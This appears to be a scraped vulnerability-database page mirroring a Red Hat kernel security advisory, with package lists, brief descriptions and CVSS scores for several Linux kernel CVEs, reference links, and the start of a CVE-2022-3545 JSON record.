Unresolved product id: BaseOS-9.3.0.Z.MAIN:python3-perf-debuginfo-0:5.14.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:python3-perf-debuginfo-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: BaseOS-9.3.0.Z.MAIN:python3-perf-debuginfo-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: CRB-9.3.0.Z.MAIN:bpftool-debuginfo-0:7.2.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: CRB-9.3.0.Z.MAIN:bpftool-debuginfo-0:7.2.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: CRB-9.3.0.Z.MAIN:bpftool-debuginfo-0:7.2.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: CRB-9.3.0.Z.MAIN:bpftool-debuginfo-0:7.2.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: CRB-9.3.0.Z.MAIN:kernel-64k-debug-debuginfo-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: CRB-9.3.0.Z.MAIN:kernel-64k-debuginfo-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: CRB-9.3.0.Z.MAIN:kernel-debug-debuginfo-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: CRB-9.3.0.Z.MAIN:kernel-debug-debuginfo-0:5.14.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: CRB-9.3.0.Z.MAIN:kernel-debug-debuginfo-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: CRB-9.3.0.Z.MAIN:kernel-debug-debuginfo-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: CRB-9.3.0.Z.MAIN:kernel-debuginfo-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: CRB-9.3.0.Z.MAIN:kernel-debuginfo-0:5.14.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: CRB-9.3.0.Z.MAIN:kernel-debuginfo-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: CRB-9.3.0.Z.MAIN:kernel-debuginfo-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: CRB-9.3.0.Z.MAIN:kernel-debuginfo-common-aarch64-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: CRB-9.3.0.Z.MAIN:kernel-debuginfo-common-ppc64le-0:5.14.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: CRB-9.3.0.Z.MAIN:kernel-debuginfo-common-s390x-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: CRB-9.3.0.Z.MAIN:kernel-debuginfo-common-x86_64-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: CRB-9.3.0.Z.MAIN:kernel-tools-debuginfo-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: CRB-9.3.0.Z.MAIN:kernel-tools-debuginfo-0:5.14.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: CRB-9.3.0.Z.MAIN:kernel-tools-debuginfo-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: CRB-9.3.0.Z.MAIN:kernel-tools-debuginfo-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: CRB-9.3.0.Z.MAIN:kernel-tools-libs-devel-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: CRB-9.3.0.Z.MAIN:kernel-tools-libs-devel-0:5.14.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: CRB-9.3.0.Z.MAIN:kernel-tools-libs-devel-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: CRB-9.3.0.Z.MAIN:kernel-zfcpdump-debuginfo-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: CRB-9.3.0.Z.MAIN:libperf-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: CRB-9.3.0.Z.MAIN:libperf-0:5.14.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: CRB-9.3.0.Z.MAIN:libperf-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: CRB-9.3.0.Z.MAIN:libperf-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: CRB-9.3.0.Z.MAIN:libperf-debuginfo-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: CRB-9.3.0.Z.MAIN:libperf-debuginfo-0:5.14.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: CRB-9.3.0.Z.MAIN:libperf-debuginfo-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: CRB-9.3.0.Z.MAIN:libperf-debuginfo-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: CRB-9.3.0.Z.MAIN:perf-debuginfo-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: CRB-9.3.0.Z.MAIN:perf-debuginfo-0:5.14.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: CRB-9.3.0.Z.MAIN:perf-debuginfo-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: CRB-9.3.0.Z.MAIN:perf-debuginfo-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: CRB-9.3.0.Z.MAIN:python3-perf-debuginfo-0:5.14.0-362.18.1.el9_3.aarch64	—	Vendor Fix fix Workaround
Unresolved product id: CRB-9.3.0.Z.MAIN:python3-perf-debuginfo-0:5.14.0-362.18.1.el9_3.ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: CRB-9.3.0.Z.MAIN:python3-perf-debuginfo-0:5.14.0-362.18.1.el9_3.s390x	—	Vendor Fix fix Workaround
Unresolved product id: CRB-9.3.0.Z.MAIN:python3-perf-debuginfo-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: NFV-9.3.0.Z.MAIN:bpftool-debuginfo-0:7.2.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: NFV-9.3.0.Z.MAIN:kernel-debug-debuginfo-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: NFV-9.3.0.Z.MAIN:kernel-debuginfo-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: NFV-9.3.0.Z.MAIN:kernel-debuginfo-common-x86_64-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: NFV-9.3.0.Z.MAIN:kernel-rt-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: NFV-9.3.0.Z.MAIN:kernel-rt-core-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: NFV-9.3.0.Z.MAIN:kernel-rt-debug-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: NFV-9.3.0.Z.MAIN:kernel-rt-debug-core-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: NFV-9.3.0.Z.MAIN:kernel-rt-debug-debuginfo-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: NFV-9.3.0.Z.MAIN:kernel-rt-debug-devel-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: NFV-9.3.0.Z.MAIN:kernel-rt-debug-kvm-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: NFV-9.3.0.Z.MAIN:kernel-rt-debug-modules-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: NFV-9.3.0.Z.MAIN:kernel-rt-debug-modules-core-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: NFV-9.3.0.Z.MAIN:kernel-rt-debug-modules-extra-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: NFV-9.3.0.Z.MAIN:kernel-rt-debuginfo-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: NFV-9.3.0.Z.MAIN:kernel-rt-devel-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: NFV-9.3.0.Z.MAIN:kernel-rt-kvm-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: NFV-9.3.0.Z.MAIN:kernel-rt-modules-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: NFV-9.3.0.Z.MAIN:kernel-rt-modules-core-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: NFV-9.3.0.Z.MAIN:kernel-rt-modules-extra-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: NFV-9.3.0.Z.MAIN:kernel-tools-debuginfo-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: NFV-9.3.0.Z.MAIN:libperf-debuginfo-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: NFV-9.3.0.Z.MAIN:perf-debuginfo-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: NFV-9.3.0.Z.MAIN:python3-perf-debuginfo-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: RT-9.3.0.Z.MAIN:bpftool-debuginfo-0:7.2.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: RT-9.3.0.Z.MAIN:kernel-debug-debuginfo-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: RT-9.3.0.Z.MAIN:kernel-debuginfo-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: RT-9.3.0.Z.MAIN:kernel-debuginfo-common-x86_64-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: RT-9.3.0.Z.MAIN:kernel-rt-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: RT-9.3.0.Z.MAIN:kernel-rt-core-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: RT-9.3.0.Z.MAIN:kernel-rt-debug-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: RT-9.3.0.Z.MAIN:kernel-rt-debug-core-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: RT-9.3.0.Z.MAIN:kernel-rt-debug-debuginfo-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: RT-9.3.0.Z.MAIN:kernel-rt-debug-devel-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: RT-9.3.0.Z.MAIN:kernel-rt-debug-modules-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: RT-9.3.0.Z.MAIN:kernel-rt-debug-modules-core-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: RT-9.3.0.Z.MAIN:kernel-rt-debug-modules-extra-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: RT-9.3.0.Z.MAIN:kernel-rt-debuginfo-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: RT-9.3.0.Z.MAIN:kernel-rt-devel-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: RT-9.3.0.Z.MAIN:kernel-rt-modules-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: RT-9.3.0.Z.MAIN:kernel-rt-modules-core-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: RT-9.3.0.Z.MAIN:kernel-rt-modules-extra-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: RT-9.3.0.Z.MAIN:kernel-tools-debuginfo-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: RT-9.3.0.Z.MAIN:libperf-debuginfo-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: RT-9.3.0.Z.MAIN:perf-debuginfo-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround
Unresolved product id: RT-9.3.0.Z.MAIN:python3-perf-debuginfo-0:5.14.0-362.18.1.el9_3.x86_64	—	Vendor Fix fix Workaround

Threats

Impact Moderate

CVE-2022-36402

An integer overflow was found in the Linux kernel's vmwgfx driver. This flaw allows a local, unprivileged attacker with access to either /dev/dri/card0 or /dev/dri/rendererD128, and able to issue an ioctl() on the resulting file descriptor to crash the system, causing a denial of service.

5.5 (Medium)


                
                  CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-190 - Integer Overflow or Wraparound

Affected products

Fixed 267 products, the same list as for CVE-2022-3545

Threats

Impact Moderate

CVE-2022-41858

A flaw was found in the Linux kernel. A NULL pointer dereference may occur while a slip driver is in progress to detach in sl_tx_timeout in drivers/net/slip/slip.c. This issue could allow an attacker to crash the system or leak internal kernel information.

7.1 (High)


                
                  CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H

CWE-416 - Use After Free

Affected products

Fixed 267 products, the same list as for CVE-2022-3545

Threats

Impact Moderate

CVE-2023-2166

A NULL pointer dereference issue was found in the can protocol in net/can/af_can.c in the Linux kernel, where ml_priv may not be initialized in the receive path of CAN frames. This flaw allows a local user to crash the system or cause a denial of service.

5.5 (Medium)


                
                  CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Fixed 267 products, the same list as for CVE-2022-3545

Threats

Impact Moderate

CVE-2023-2176

A vulnerability was found in compare_netdev_and_ip in drivers/infiniband/core/cma.c in RDMA in the Linux kernel. An improper cleanup results in an out-of-boundary read. This flaw allows a local user to crash or escalate privileges on the system.

7.8 (High)


                
                  CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-125 - Out-of-bounds Read

Affected products

Fixed 267 products, the same list as for CVE-2022-3545

Threats

Impact Moderate

CVE-2023-3777

A use-after-free flaw was found in the Linux kernel's netfilter: nf_tables component, which can be exploited to achieve local privilege escalation. When nf_tables_delrule() is flushing table rules, it is not checked whether the chain is bound, and the chain's owner rule can release the objects in certain circumstances.

7.8 (High)


                
                  CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-416 - Use After Free

Affected products

Fixed 267 products, the same list as for CVE-2022-3545

Threats

Impact Moderate

CVE-2023-3812

An out-of-bounds memory access flaw was found in the Linux kernel’s TUN/TAP device driver functionality in how a user generates a malicious (too big) networking packet when napi frags is enabled. This flaw allows a local user to crash or potentially escalate their privileges on the system.

7.8 (High)


                
                  CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-787 - Out-of-bounds Write

Affected products

Fixed 267 products, the same list as for CVE-2022-3545

Threats

Impact Important

CVE-2023-4015

A use-after-free flaw was found in the Linux kernel's netfilter: nf_tables component, which can be exploited to achieve local privilege escalation. On an error when building a nftables rule, deactivating immediate expressions in nft_immediate_deactivate() can unbind the chain and objects can be deactivated but used later.

7.8 (High)


                
                  CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-416 - Use After Free

Affected products

Fixed 267 products, the same list as for CVE-2022-3545

Threats

Impact Moderate

CVE-2023-4622

A use-after-free flaw was found in the Linux kernel's af_unix component that allows local privilege escalation. The unix_stream_sendpage() function tries to add data to the last skb in the peer's recv queue without locking the queue. This issue leads to a race condition where the unix_stream_sendpage() function could access a skb that is being released by garbage collection, resulting in a use-after-free issue.

6.6 (Medium)


                
                  CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H

CWE-416 - Use After Free

Affected products

Fixed 267 products, the same list as for CVE-2022-3545

Threats

Impact Important

CVE-2023-4623

A use-after-free flaw was found in the Linux kernel's net/sched: sch_hfsc (HFSC qdisc traffic control) component that can be exploited to achieve local privilege escalation. If a class with a link-sharing curve, for example, with the HFSC_FSC flag set, has a parent without a link-sharing curve, then init_vf() will call vttree_insert() on the parent, but vttree_remove() will be skipped in update_vf(). This leaves a dangling pointer that can cause a use-after-free issue.

7.8 (High)


                
                  CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-416 - Use After Free

Affected products

Fixed 267 products, the same list as for CVE-2022-3545

Threats

Impact Important

CVE-2023-5178

A use-after-free vulnerability was found in drivers/nvme/target/tcp.c` in `nvmet_tcp_free_crypto` due to a logical bug in the NVMe/TCP subsystem in the Linux kernel. This issue may allow a malicious user to cause a use-after-free and double-free problem, which may permit remote code execution or lead to local privilege escalation.

8.8 (High)


                
                  CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-416 - Use After Free

Affected products

Fixed 267 products, the same list as for CVE-2022-3545

Threats

Impact Important

CVE-2023-5633

The reference count changes made as part of the CVE-2023-33951 and CVE-2023-33952 fixes exposed a use-after-free flaw in the way memory objects were handled when they were being used to store a surface. When running inside a VMware guest with 3D acceleration enabled, a local, unprivileged user could potentially use this flaw to escalate their privileges.

7.8 (High)


                
                  CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-911 - Improper Update of Reference Count

Affected products

Fixed 267 products, the same list as for CVE-2022-3545

Threats

Impact Important

CVE-2023-6679

A null pointer dereference vulnerability was found in dpll_pin_parent_pin_set() in drivers/dpll/dpll_netlink.c in the Digital Phase Locked Loop (DPLL) subsystem in the Linux kernel. This issue could be exploited to trigger a denial of service.

5.5 (Medium)


                
                  CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-476 - NULL Pointer Dereference

Affected products

Fixed 267 products, the same list as for CVE-2022-3545

Threats

Impact Low

CVE-2023-38409

A memory corruption flaw was found in set_con2fb_map in drivers/video/fbdev/core/fbcon.c in the Framebuffer Console in the Linux kernel. This flaw allows a local attacker to crash the system, leading to a denial of service.

5.5 (Medium)


                
                  CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CWE-129 - Improper Validation of Array Index

Affected products

Fixed 267 products, the same list as for CVE-2022-3545

Threats

Impact Moderate

CVE-2023-40283

A flaw was found in l2cap_sock_release in net/bluetooth/l2cap_sock.c in the Bluetooth subsystem in the Linux Kernel. This issue may allow a user to cause a use-after-free problem due to sk's children being mishandled.

7.8 (High)


                
                  CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-416 - Use After Free

Affected products

Fixed 267 products, the same list as for CVE-2022-3545

Threats

Impact Moderate

CVE-2023-42753

An array indexing vulnerability was found in the netfilter subsystem of the Linux kernel. A missing macro could lead to a miscalculation of the `h->nets` array offset, providing attackers with the primitive to arbitrarily increment/decrement a memory buffer out-of-bound. This issue may allow a local user to crash the system or potentially escalate their privileges on the system.

7.0 (High)


                
                  CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-787 - Out-of-bounds Write

Affected products

Fixed 267 products, the same list as for CVE-2022-3545

Threats

Impact Important

CVE-2023-46813

A buffer overflow and null pointer dereference flaw was found in the Linux kernel's Secure Encrypted Virtualization (SEV) implementation for AMD functionality. This issue occurs when a user in SEV guest VM accesses MMIO registers, which could allow a local user to crash the system or escalate their privileges on the system.

7.0 (High)


                
                  CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE-269 - Improper Privilege Management

Affected products

Fixed 267 products, the same list as for CVE-2022-3545

Threats

Impact Moderate

References

107 references

URL	Category
https://access.redhat.com/errata/RHSA-2024:0461	self
https://access.redhat.com/security/updates/classi…	external
https://bugzilla.redhat.com/show_bug.cgi?id=2133451	external
https://bugzilla.redhat.com/show_bug.cgi?id=2144379	external
https://bugzilla.redhat.com/show_bug.cgi?id=2161310	external
https://bugzilla.redhat.com/show_bug.cgi?id=2187813	external
https://bugzilla.redhat.com/show_bug.cgi?id=2187931	external
https://bugzilla.redhat.com/show_bug.cgi?id=2224048	external
https://bugzilla.redhat.com/show_bug.cgi?id=2230042	external
https://bugzilla.redhat.com/show_bug.cgi?id=2231800	external
https://bugzilla.redhat.com/show_bug.cgi?id=2237750	external
https://bugzilla.redhat.com/show_bug.cgi?id=2237752	external
https://bugzilla.redhat.com/show_bug.cgi?id=2237757	external
https://bugzilla.redhat.com/show_bug.cgi?id=2237760	external
https://bugzilla.redhat.com/show_bug.cgi?id=2239843	external
https://bugzilla.redhat.com/show_bug.cgi?id=2241924	external
https://bugzilla.redhat.com/show_bug.cgi?id=2245663	external
https://bugzilla.redhat.com/show_bug.cgi?id=2246944	external
https://bugzilla.redhat.com/show_bug.cgi?id=2253986	external
https://security.access.redhat.com/data/csaf/v2/a…	self
https://access.redhat.com/security/cve/CVE-2022-3545	self
https://bugzilla.redhat.com/show_bug.cgi?id=2161310	external
https://www.cve.org/CVERecord?id=CVE-2022-3545	external
https://nvd.nist.gov/vuln/detail/CVE-2022-3545	external
https://git.kernel.org/pub/scm/linux/kernel/git/k…	external
https://access.redhat.com/security/cve/CVE-2022-36402	self
https://bugzilla.redhat.com/show_bug.cgi?id=2133451	external
https://www.cve.org/CVERecord?id=CVE-2022-36402	external
https://nvd.nist.gov/vuln/detail/CVE-2022-36402	external
https://access.redhat.com/security/cve/CVE-2022-41858	self
https://bugzilla.redhat.com/show_bug.cgi?id=2144379	external
https://www.cve.org/CVERecord?id=CVE-2022-41858	external
https://nvd.nist.gov/vuln/detail/CVE-2022-41858	external
https://github.com/torvalds/linux/commit/ec4eb8a8…	external
https://access.redhat.com/security/cve/CVE-2023-2166	self
https://bugzilla.redhat.com/show_bug.cgi?id=2187813	external
https://www.cve.org/CVERecord?id=CVE-2023-2166	external
https://nvd.nist.gov/vuln/detail/CVE-2023-2166	external
https://git.kernel.org/pub/scm/linux/kernel/git/t…	external
https://access.redhat.com/security/cve/CVE-2023-2176	self
https://bugzilla.redhat.com/show_bug.cgi?id=2187931	external
https://www.cve.org/CVERecord?id=CVE-2023-2176	external
https://nvd.nist.gov/vuln/detail/CVE-2023-2176	external
https://www.spinics.net/lists/linux-rdma/msg114749.html	external
https://access.redhat.com/security/cve/CVE-2023-3777	self
https://bugzilla.redhat.com/show_bug.cgi?id=2237750	external
https://www.cve.org/CVERecord?id=CVE-2023-3777	external
https://nvd.nist.gov/vuln/detail/CVE-2023-3777	external
https://git.kernel.org/pub/scm/linux/kernel/git/t…	external
https://access.redhat.com/security/cve/CVE-2023-3812	self
https://bugzilla.redhat.com/show_bug.cgi?id=2224048	external
https://www.cve.org/CVERecord?id=CVE-2023-3812	external
https://nvd.nist.gov/vuln/detail/CVE-2023-3812	external
https://git.kernel.org/pub/scm/linux/kernel/git/t…	external
https://access.redhat.com/security/cve/CVE-2023-4015	self
https://bugzilla.redhat.com/show_bug.cgi?id=2237752	external
https://www.cve.org/CVERecord?id=CVE-2023-4015	external
https://nvd.nist.gov/vuln/detail/CVE-2023-4015	external
https://git.kernel.org/pub/scm/linux/kernel/git/t…	external
https://access.redhat.com/security/cve/CVE-2023-4622	self
https://bugzilla.redhat.com/show_bug.cgi?id=2237760	external
https://www.cve.org/CVERecord?id=CVE-2023-4622	external
https://nvd.nist.gov/vuln/detail/CVE-2023-4622	external
https://git.kernel.org/pub/scm/linux/kernel/git/s…	external
https://access.redhat.com/security/cve/CVE-2023-4623	self
https://bugzilla.redhat.com/show_bug.cgi?id=2237757	external
https://www.cve.org/CVERecord?id=CVE-2023-4623	external
https://nvd.nist.gov/vuln/detail/CVE-2023-4623	external
https://git.kernel.org/pub/scm/linux/kernel/git/t…	external
https://access.redhat.com/security/cve/CVE-2023-5178	self
https://bugzilla.redhat.com/show_bug.cgi?id=2241924	external
https://www.cve.org/CVERecord?id=CVE-2023-5178	external
https://nvd.nist.gov/vuln/detail/CVE-2023-5178	external
https://lore.kernel.org/linux-nvme/20231002105428…	external
https://access.redhat.com/security/cve/CVE-2023-5633	self
https://bugzilla.redhat.com/show_bug.cgi?id=2245663	external
https://www.cve.org/CVERecord?id=CVE-2023-5633	external
https://nvd.nist.gov/vuln/detail/CVE-2023-5633	external
https://access.redhat.com/security/cve/CVE-2023-6679	self
https://bugzilla.redhat.com/show_bug.cgi?id=2253986	external
https://www.cve.org/CVERecord?id=CVE-2023-6679	external
https://nvd.nist.gov/vuln/detail/CVE-2023-6679	external
https://lore.kernel.org/netdev/20231211083758.108…	external
https://access.redhat.com/security/cve/CVE-2023-38409	self
https://bugzilla.redhat.com/show_bug.cgi?id=2230042	external
https://www.cve.org/CVERecord?id=CVE-2023-38409	external
https://nvd.nist.gov/vuln/detail/CVE-2023-38409	external
https://git.kernel.org/pub/scm/linux/kernel/git/t…	external
https://access.redhat.com/security/cve/CVE-2023-40283	self
https://bugzilla.redhat.com/show_bug.cgi?id=2231800	external
https://www.cve.org/CVERecord?id=CVE-2023-40283	external
https://nvd.nist.gov/vuln/detail/CVE-2023-40283	external
https://git.kernel.org/pub/scm/linux/kernel/git/t…	external
https://access.redhat.com/security/cve/CVE-2023-42753	self
https://bugzilla.redhat.com/show_bug.cgi?id=2239843	external
https://www.cve.org/CVERecord?id=CVE-2023-42753	external
https://nvd.nist.gov/vuln/detail/CVE-2023-42753	external
https://seclists.org/oss-sec/2023/q3/216	external
https://access.redhat.com/security/cve/CVE-2023-46813	self
https://bugzilla.redhat.com/show_bug.cgi?id=2246944	external
https://www.cve.org/CVERecord?id=CVE-2023-46813	external
https://nvd.nist.gov/vuln/detail/CVE-2023-46813	external
https://bugzilla.suse.com/show_bug.cgi?id=1212649	external
https://cdn.kernel.org/pub/linux/kernel/v6.x/Chan…	external
https://git.kernel.org/pub/scm/linux/kernel/git/t…	external
https://git.kernel.org/pub/scm/linux/kernel/git/t…	external
https://git.kernel.org/pub/scm/linux/kernel/git/t…	external

Acknowledgments

Duoming Zhou

Wei Chen

NCC Group APAC Murray McAllister

(IceSword Lab) Xingyuan Mo

JSON

To clipboard

Loading 1.7 MB of JSON…

CVE-2022-3545 (GCVE-0-2022-3545)

Vulnerability from cvelistv5 – Published: 2022-10-17 00:00 – Updated: 2026-10-14 13:47

Title

Linux Kernel IPsec nfp_cppcore.c area_cache_get use after free

Summary

A vulnerability has been found in Linux Kernel and classified as critical. Affected by this vulnerability is the function area_cache_get of the file drivers/net/ethernet/netronome/nfp/nfpcore/nfp_cppcore.c of the component IPsec. The manipulation leads to use after free. It is recommended to apply a patch to fix this issue. The identifier VDB-211045 was assigned to this vulnerability.

Severity

5.5 (Medium)


                        
                          CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

SSVC

Exploitation: none Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2025-04-14 17:08 UTC

CWE

CWE-119 - Memory Corruption -> CWE-416 Use After Free

Assigner

VulDB CNA under the mitre root

CNA scorecard B 83/100 over 3797 records in the last 180 days details

References

8 references

URL	Tags
https://git.kernel.org/pub/scm/linux/kernel/git/k…
https://vuldb.com/?id.211045
https://security.netapp.com/advisory/ntap-2022122…
https://www.debian.org/security/2023/dsa-5324	vendor-advisory
https://lists.debian.org/debian-lts-announce/2023…	mailing-list
https://lists.debian.org/debian-lts-announce/2023…	mailing-list
https://cert-portal.siemens.com/productcert/html/…
https://cert-portal.siemens.com/productcert/html/…

Impacted products

2 products

Vendor	Product	Version
Linux	Kernel	Affected: n/a
Siemens	SIMATIC S7-1500 TM MFP - GNU/Linux subsystem	Affected: 0 , < V1.1 (custom)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-03T01:14:01.597Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
